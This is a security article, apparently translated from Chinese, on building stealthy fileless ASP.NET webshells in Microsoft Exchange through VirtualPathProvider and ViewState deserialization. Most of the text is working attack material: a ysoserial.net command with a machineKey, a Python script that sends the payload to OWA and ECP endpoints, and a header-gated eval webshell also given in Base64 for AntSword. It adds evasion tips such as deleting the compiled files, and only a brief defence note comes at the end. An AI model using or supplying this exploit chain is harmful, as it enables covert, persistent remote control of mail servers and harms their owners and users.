0x00 Preface

---

Using ASP.NET's VirtualPathProvider class, virtual files can be created to achieve the following effect: the virtual file does not exist in the server's file system but can be dynamically compiled and accessed. ysoserial.net's GhostWebShell.cs provides an exploitable approach for learning purposes.

This article will introduce the exploitation methods of virtual files, building on ysoserial.net's GhostWebShell.cs to discuss exploitation techniques in Exchange environments, including open-source code, detailed records, and defensive recommendations.

0x01 Introduction

---

This article will cover the following topics:

  • Exploitation of VirtualPathProvider in Exchange
  • Exploitation of DotNet Deserialization in Exchange
  • Defensive Detection

0x02 Exploitation of VirtualPathProvider in Exchange

---

References:

https://docs.microsoft.com/en-us/dotnet/api/system.web.hosting.virtualpathprovider?view=netframework-4.8

In implementation, it is necessary to inherit the VirtualPathProvider class and override two methods: FileExists and GetFile. After registering the VirtualPathProvider and creating an instance, implement the creation of virtual files.

Example code:

<%@ Page Language="C#" AutoEventWireup="true" validateRequest="false" EnableViewStateMac="false" %>
<%@ Import Namespace="System.Web.Hosting" %>
<%@ Import Namespace="System.Web.Compilation" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.Reflection" %>
<%@ Import Namespace="System.Security.Cryptography" %>

Note:

Code from https://kernel32.org/posts/evading-anti-virus-by-using-dynamic-code-generation-and-reflection/

Tested on Exchange as follows:

Save location: %ExchangeInstallPath%\FrontEnd\HttpProxy\owa\auth\test1.aspx

Access URL: https:///owa/auth/test1.aspx/deferred.aspx, returns: Compiled on the fly :), virtual file successfully accessed

Note:

Accessible path for virtual file: https:///owa/auth/test1.aspx/

When creating virtual files, compilation files are generated in the temporary directory, default location: C:\Windows\Microsoft.NET\Framework64|Framework\\Temporary ASP.NET Files\owa\\\

File name: test1.aspx..compiled

If the original file test1.aspx is deleted, the virtual file will also become invalid and inaccessible.

Although this method of implementing a Webshell can hide the real file content, it relies on the file, making it easy to remove and lacking sufficient stealth.

Using ysoserial.net's GhostWebShell.cs precisely solves this problem and improves stealth.

0x03 Exploitation of DotNet Deserialization

---

Reference code:

https://github.com/pwntester/ysoserial.net/blob/master/ExploitClass/GhostWebShell.cs

Test environment:

Obtained Exchange file read/write permissions, enabling modification of %ExchangeInstallPath%\FrontEnd\HttpProxy\owa\web.config and %ExchangeInstallPath%\FrontEnd\HttpProxy\ecp\web.config, setting the machineKey content as follows:

For .Net deserialization command execution at these two locations, valid user credentials are no longer required.

Here, %ExchangeInstallPath%\FrontEnd\HttpProxy\owa\auth\errorFE.aspx is selected, with the corresponding generator being 042A94E8.

The parameters for generating ViewState using ysoserial.net are as follows:

ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -f LosFormatter -c "ghostfile.cs;System.Web.dll;System.dll;" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="042A94E8"

Send ViewState using the following code:

# encoding: UTF-8
import requests
import re
import sys
import os
import json
import urllib3
urllib3.disable_warnings()

from urllib.parse import quote
import urllib.parse

if __name__ == '__main__':
if len(sys.argv)!=4:
note = '''
Usage:

: owa or ecp

eg.
{0} 192.168.1.1 CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF owa
{1} mail.test.com CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF ecp
'''
print(note.format(sys.argv[0],sys.argv[0]))
sys.exit(0)
else:
targeturl = "";
generator = "";
try:
if sys.argv[3] == "owa":
targeturl = "https://" + sys.argv[1] + "/owa/auth/errorFE.aspx";
generator = "042A94E8";

elif sys.argv[3] == "ecp":
targeturl = "https://" + sys.argv[1] + "/ecp/auth/TimeoutLogout.aspx";
generator = "277B1C2A";
else:
print("[!] Wrong input");

print("[*] TargetURL: " + targeturl)

out_payload = ""

body = {"__VIEWSTATEGENERATOR": generator,"__VIEWSTATE": out_payload}
postData = urllib.parse.urlencode(body).encode("utf-8")

headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36xxxxx",
"Content-Type":"application/x-www-form-urlencoded"
}
status = requests.post(url=targeturl, headers=headers, data=postData, verify=False, timeout=15)

print(status.status_code)
print(status.headers)
print(status.text)

except Exception as e:
print("[!] Error:%s"%(e))
exit(0)

Access https:///owa/auth/fakepath31337/.aspx, returns: This is the attacker's file - running on the server if this 1337 is 1337., virtual file successfully accessed

This method does not rely on files, improving stealth

Next, modify GhostWebShell.cs to implement webshell functionality

Set virtual directory as root directory, example access URL: https:///owa/auth/.aspx

To avoid accidental access, add access conditions with Header validation, redirect to error page errorFE.aspx if conditions not met

One-line test code:

<%@ Page Language="Jscript"%><%
if(Request.Headers["Value"]=="00HGAT3K0AXHV2RF2W0G")
{
eval(Request.Item["antsword"],"unsafe");
}
else
{
Response.Redirect("/owa/auth/errorFE.aspx?httpCode=404");
}
%>

When connecting with AntSword, you need to set the HTTP HEADERS as follows:

Name: Value
Value: 00HGAT3K0AXHV2RF2W0G

The Base64-encoded string is: PCVAIFBhZ2UgTGFuZ3VhZ2U9IkpzY3JpcHQiJT48JQppZihSZXF1ZXN0LkhlYWRlcnNbIlZhbHVlIl09PSIwMEhHQVQzSzBBWEhWMlJGMlcwRyIpCnsKZXZhbChSZXF1ZXN0Lkl0ZW1bImFudHN3b3JkIl0sInVuc2FmZSIpOwkKfQplbHNlCnsKUmVzcG9uc2UuUmVkaXJlY3QoIi9vd2EvYXV0aC9lcnJvckZFLmFzcHg/aHR0cENvZGU9NDA0Iik7Cn0KJT4=

Replace the webshellContentsBase64 in GhostWebShell.cs

The complete Python implementation code has been uploaded to GitHub at the following address:

An open-source project

The code supports deserialization execution at two locations: the default existing files %ExchangeInstallPath%\FrontEnd\HttpProxy\owa\auth\errorFE.aspx and %ExchangeInstallPath%\FrontEnd\HttpProxy\ecp\auth\TimeoutLogout.aspx. It can automatically generate GhostWebShell.cs with webshell functionality, using ysoserial.net to generate ViewState and send it.

The complete C# implementation code has been uploaded to GitHub at the following address:

An open-source project

The code functionality is the same as above, can be directly compiled and executed, no longer dependent on ysoserial.net

Note:

To facilitate testing under Exchange, I modified GhostWebShell.cs into an aspx file, which can be directly accessed for testing. The code address is as follows:

An open-source project

0x04 Defense Detection

---

ASP.NET Webshell created using virtual files, no longer requires writing aspx files. For defense, monitor compilation files generated in the temporary directory, default location: C:\Windows\Microsoft.NET\Framework64|Framework\\Temporary ASP.NET Files\owa\\\

It should be noted that attackers can delete the compilation files after generating them

0x05 Summary

---

This article introduces the exploitation methods of virtual files, targeting the Exchange environment, covering the use of VirtualPathProvider and DotNet deserialization, and provides defense recommendations.